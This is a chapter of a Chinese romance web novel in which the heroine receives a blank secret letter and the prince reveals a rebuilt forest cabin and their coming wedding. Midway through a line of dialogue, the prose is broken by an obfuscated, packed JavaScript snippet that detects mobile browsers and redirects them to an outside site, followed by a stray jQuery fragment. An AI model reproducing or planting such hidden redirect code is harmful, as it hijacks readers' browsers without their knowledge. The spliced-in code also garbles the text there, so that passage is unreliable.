接下来的这几日,北辰景好像很忙,时不时就要出府。
沈木兮见他的时间,基本只有晚上。
且每次他都要和自己挤一间屋子,沈木兮虽觉得不自在,但两人现在关系是未婚夫妻,自打那日见了皇帝家长,关系就已经板上钉钉。
住一间屋子,也无可厚非。
反而她把他赶出去,传入皇帝耳中,那才得出事。
虽然几乎每次第二日醒来,沈木兮都觉得身上哪里不舒坦,要么浑身都是残留的汗,要么……嗓子干哑。可每次她都查看过,身上什么痕迹都没有,她还是没去多想。
直到这日,离阙说,北辰景要出京几日,让她留在府中。
其实,这次回来,北辰景并没有限制她的自由,连他出行,也没硬要带上她同行。
这点让沈木兮稍微安心。
北辰景不在的这几日,沈木兮也听说了京中其他的人事。
比如,盛苒。
听说,盛家小姐不知怎么了,一年前,突然成了哑巴,听说舌根都被拧断了,再也说不了话。
沈木兮有很强的道德感,但对于这个原文女主,却是一点也同情不起来。
一切如常进行,沈木兮如以往一般,在京中闲逛,买菜准备今日的晚膳。
太子府有自己的后厨,但她还是习惯给他做饭。
没想到今日出行,刚到了街上,沈木兮就被人给硬抓了过去。
抬头就看到一张熟悉,却又有些憔悴的俊脸。
他捂住她的嘴,紧张看着外面。
“我终于见到你了。”北辰殷观察着四周,很是警惕的样子。
又把她带去了巷子深处,这才道。
“我长话短说。”
沈木兮一愣,还想说话,却被北辰殷塞进了一封密信。
“我知道你很多话想问,或许,你也不信我的话。但我没时间在外逗留,这里都有答案。回去后,你好好看看,千万别让任何人知道。”
除了之前尸体的事,还有太多太多的,她都不知道!关于沈家人,乃至关于夜王……
“沈木兮,你一定要……保重。”
北辰殷最后看了眼她,咬了咬唇,转身离去。
他的动作太快,以至于,沈木兮到现在都没说一句完整的话,也没有来得及去问他,最近过的好不好。
她低下头,看着那封信。
“太子妃,您在这做什么?”
和她分头去买东西的小芷来了,沈木兮眼神一动,将信藏在了袖中。
抬头时,面色已经恢复。
“没什么,方才走错路了。”
小芷哦了一声,抬头看了眼安静的巷子后方,没再问什么,只道。
“今日太子要回来,我们赶紧回去吧。”
沈木兮回去的一路上,偷偷捏着那封信,心中有些复杂。
她的确目前暂时选择相信北辰景。
但她同样相信,北辰殷不会骗她。
是以,回去后,沈木兮借着换衣服的间隙,回到房中,一点点拆开了那封信。
看到信纸上的内容,她脸色微的变了……
就在屋子里,陷入死静只是,屋门被人打开了。
熟悉的脚步声传来,沈木兮大惊,当即把信纸肉成团,塞进了衣袖里。
等再次回头,她的脸色已经恢复。
“景愿,你回来了。”
北辰景离京多日,今日刚回来,周身带着风尘仆仆。
那双在外凌厉阴冷的眸子,此刻在她身前,很快多出了缱绻笑意。
“嗯,阿兮,我有个惊喜要给你。”
他拉着她坐下,半蹲在她的身前,像是以前一样,看着她的眼神里带着湿红光泽,握住他的手。
“跟我来。”
他的步伐很快,外袍上还席卷着路上未散的霜露。
但沈木兮却是松口气,想来,方才是没发现吧。
不过……
她低下头,看着手里被揉成团的信纸。
北辰殷,为什么要给她写一封无字天书?
是的,这封信上,什么东西都没有。
很快,北辰景将她带到了府中的另一处地方。
沈木兮来了这么久,都没怎么逛过太子府,是以她并不知,在太子府的后方,还有个这么大的单独院子。
进去的时候,他特意拿出一条丝巾,把眼睛给她蒙住,凑到她耳边说。
“乖,闭上眼睛。”
他的声音带着一种蛊惑。
沈木兮微微缩脖子,有点不安。
“景愿,别卖关子了,快告诉我吧。”
他轻笑不语,牵着她,一步步走了进来。
“你可以看了。”
落下丝巾,沈木兮抬头。
眼前的一幕,让她愣住。
“这?”
她瞪大眼睛,看着这藏匿太子府深处,被他打造的山野屋舍。
这里,完全和当初在江州猎林的帐篷小屋,一模一样!
连四周的野林,和山道也被他修缮了出来。
若不是被他亲自带着从太子府里走来,她都以为,是回到了曾经。
沈木兮先是呆住,随后转头看向他:“这是你建的?”
她语气里多了几分轻快和兴奋。
在猎林的生活,不仅仅是北辰景的回忆,也是她的回忆。
那里是他们两人,真真正正,一起生活过的地方。
有大雨吹翻帐篷,他们两人一起躲在山洞石头缝,围着火星取暖。
也有夏日,她在河边洗衣时,故意趁他不察,朝他身上泼水,却是自己滑进河里的乌龙事迹。
还有,那一个个长夜,他陪着她从后厨房上山时,他们一起看过的满天星斗。
北辰景认真地看着她,捧着她的脸。
“喜欢吗。”
“你不喜欢太子府,我也不喜欢。那今后,我们就一起住在这,好不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989410|193682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”
正陷入回忆中的沈木兮,被这句“今后……我们……”给惊了一跳,眼神也敏锐地变了。
北辰景眸光轻动,又道。
“嗯,在你陪我的这一两年里。”
沈木兮紧绷的身子微的松开:“这样,好吗?你父皇知道了,会不会不高兴?”
这里虽然有以前的回忆,但住的地方实在太次,若被西越帝知道,他的儿子陪自己住在这里,怕是会觉得是她故意**。
“当然不会,父皇已经下旨赐婚,三日后便是婚期。他很喜欢你的。”
“婚期?”沈木兮脸色一变,眼神微微变得锐利。
不是说的,只是假扮太子妃吗,怎么还要成婚了?
沈木兮再看北辰景的眸光,也微的变了,多出几分警惕和探寻。
她的谨慎和慌乱落入北辰景的眼中,让他眸底生出一丝暗色,但又很快恢复。
“只是成亲而已。”
“等时间一到,我依旧会履行当初的承诺,不会阻拦你。”
沈木兮得到了答案,才缓口气。
“可一定要成亲吗。”
“若是不成亲,父皇也会让娶其他人的。”他平静的说。
其他女人吗。
沈木兮莫名的皱起了眉头……
京中贵女,大多都是如盛苒一类的虚伪女子。
若是娶了便罢,但给他招惹来了祸事,注定是不安生的。她在这,还能帮他抵挡了一二。
再说,她有反对的资格吗。
若是反对,被西越帝知道一切真相,那她岂不是欺君。
她一步步谨慎小心,无论是当初费心逃离他,还是如今回来,在夹缝中求生。不都是为了这颗脑袋吗。
别还没被他搞死,就一命呜呼了。
沈木兮想了想,最后很郑重地点点头:“那,好吧。”
北辰景的眼神在得到她的允诺后,瞬间亮了,看着她的眼神,越发的轻柔,但眼底深处的幽光,却是更甚。
独自回了屋中。
沈木兮又把那皱巴巴的信,拿了出来。
又是用火烤,又是浸水打湿。
可上面依旧是什么都没有。
最后确定,这就是一张没写过任何内容的白纸。
沈木兮狐疑极了。
莫不是,北辰殷的恶作剧吧?可今日他的神情,又十分的认真。好像,真的有很重要,很重要的事要告诉她。
她想,那便下次找个机会,去找他问清楚。
只是接下来的这段时间,沈木兮比谁都要忙。
太子大婚的事宜,比她所想的更要繁琐。
除了每日府中的事,还有女官前来对她的各种教导礼仪。
太子府上上下下,全部都在这喜气洋洋的氛围里,忙成了一团。
三日时间里,沈木兮都没好好喘过一口气。
终于,等到了大婚这一日。
是她,和北辰景的大婚。